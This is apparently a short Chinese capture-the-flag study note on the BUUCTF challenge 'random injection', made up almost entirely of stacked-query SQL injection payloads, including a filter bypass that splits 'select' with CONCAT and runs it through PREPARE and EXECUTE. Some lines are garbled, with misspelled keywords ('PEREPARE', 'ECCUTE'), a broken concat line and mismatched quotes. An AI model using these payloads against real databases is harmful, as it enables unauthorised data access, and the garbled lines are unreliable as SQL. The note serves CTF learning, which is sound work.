BUUCTF学习(7): 随便注，固网杯

1、介绍

2、解题

11';show tables;#

select * from `1919810931114514`

concat(`sel`,`ect from 1919810931114514` ')

PEREPARE y
from

sql;

ECCUTE y;
-1';

sEt @sql = CONCAt('se','lect * from `1919810931114514`;')；

prePare stmt from @sql;

EXECUTE stmt;

结束